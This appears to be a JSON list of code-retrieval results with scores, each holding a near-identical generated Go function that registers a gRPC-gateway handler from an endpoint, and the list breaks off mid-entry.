[ { "docid": "47c92c0aa2214ec333bc6eb0782699d0", "score": "0.702666", "text": "func RegisterCollectorServiceV1Handler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterCollectorServiceV1HandlerClient(ctx, mux, NewCollectorServiceV1Client(conn))\n}", "title": "" }, { "docid": "c64d5b53e2983c1c0adcf43a8ae4a97f", "score": "0.677066", "text": "func RegisterDiagnosticServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDiagnosticServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "253fcdd54e76110d261b2d6741ac8634", "score": "0.66508555", "text": "func RegisterJourneyApiV1HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterJourneyApiV1Handler(ctx, mux, conn)\n}", "title": "" }, { "docid": "90e34abaf462e868b1ae2ac3b6efa34a", "score": "0.65643775", "text": "func RegisterQueryServiceV1HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterQueryServiceV1Handler(ctx, mux, conn)\n}", "title": "" }, { "docid": "04ce3c6e545c0f22f50294d770c168b2", "score": "0.65486676", "text": "func RegisterServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c3bbdc187041e12994f83b91fde9cc1c", "score": "0.6513725", "text": "func RegisterApiServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterApiServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c3bbdc187041e12994f83b91fde9cc1c", "score": "0.6513725", "text": "func RegisterApiServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterApiServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f5b261326593d0179dbfb092fd8899f9", "score": "0.6507226", "text": "func RegisterIAVLServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterIAVLServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "41f0f640de0cbe0e39132ccda587d5b1", "score": "0.64965856", "text": "func RegisterAPIHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAPIHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "2281de9ae38a2796c544d066de812828", "score": "0.6473851", "text": "func RegisterSystemHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterSystemHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "6ffaa3db92f6735f6d306859109d1ed0", "score": "0.6473379", "text": "func RegisterAPIServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAPIServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "35cb3e9329d1f4054c00e899626b6dbb", "score": "0.64720356", "text": "func RegisterPictweetServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPictweetServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "53e2b5e0a285ebff54008ab837c4d55a", "score": "0.6428551", "text": "func RegisterServiceUsageHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterServiceUsageHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "586a859eae84d51d5455e40034b7522e", "score": "0.6417057", "text": "func RegisterConsoleHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterConsoleHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "586a859eae84d51d5455e40034b7522e", "score": "0.6417057", "text": "func RegisterConsoleHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterConsoleHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "be31c74e5eede509aece65edcfa6f310", "score": "0.64089906", "text": "func RegisterRegistryHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRegistryHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "40a23fc643b3c0d85687106ce6d2e402", "score": "0.6375957", "text": "func RegisterReporterServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterReporterServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "ccc5ca6a14debb64aef114909aff7c4f", "score": "0.635751", "text": "func RegisterCategoryServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCategoryServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "47dc50a976ebd76da3d290c690f3b0c2", "score": "0.6332962", "text": "func RegisterIAMHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterIAMHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "91174c7bad310b01c5d9926128bf2405", "score": "0.63255733", "text": "func RegisterWalletHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterWalletHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c063bcbb776d17a805e3d485ea5ef380", "score": "0.63150495", "text": "func RegisterCoralHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCoralHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "06856ba75c747114bf74ef60e15dd218", "score": "0.6303447", "text": "func RegisterLogServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterLogServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "c2b871f74d133df229ea0f8de86377fe", "score": "0.6302163", "text": "func RegisterUserServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string) (err error) {\n\tconn, err := grpc.Dial(endpoint, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tglog.Errorf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tglog.Errorf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterUserServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "e3d2d134944d0be8c896719211018429", "score": "0.6301795", "text": "func RegisterFileManagementHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterFileManagementHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "3de14c69e970a227e2f7ad3ab695b921", "score": "0.63014245", "text": "func RegisterManagerHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterManagerHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "1449bbb373b74055b44405cbdbd86e4d", "score": "0.62974715", "text": "func RegisterDiscoveryAndSynchronizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDiscoveryAndSynchronizationServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "6e934e3dd2f42d5fb114f88107382997", "score": "0.6282318", "text": "func RegisterManagerHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterManagerHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "7414d50df30c25dd842cdd4b1666777d", "score": "0.6277611", "text": "func RegisterSensorServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterSensorServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "ab01a93fb3c444b6d4ff67c223c5edda", "score": "0.6263899", "text": "func RegisterDisputeServicesHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDisputeServicesHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "bf353f3e2bed6d6af33cf7ad4a2a930b", "score": "0.62624794", "text": "func RegisterReleaseManagerHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterReleaseManagerHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "1f93182dccf3de21f87be9791f98c3a9", "score": "0.6258525", "text": "func RegisterRolloutServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRolloutServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "ad1b2cd0cc8f4458bae0746268d57ca4", "score": "0.6257164", "text": "func RegisterDeviceServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDeviceServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "0615321a9ec11f87f3bf86ad61d13058", "score": "0.6255061", "text": "func RegisterPartServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPartServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "ed9cf0522637c61978769cb690f94527", "score": "0.6228146", "text": "func RegisterEventFeedServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterEventFeedServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "9137aeac6a295f673e5333d5518e7ef5", "score": "0.6222934", "text": "func RegisterOcpMeetingApiHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := 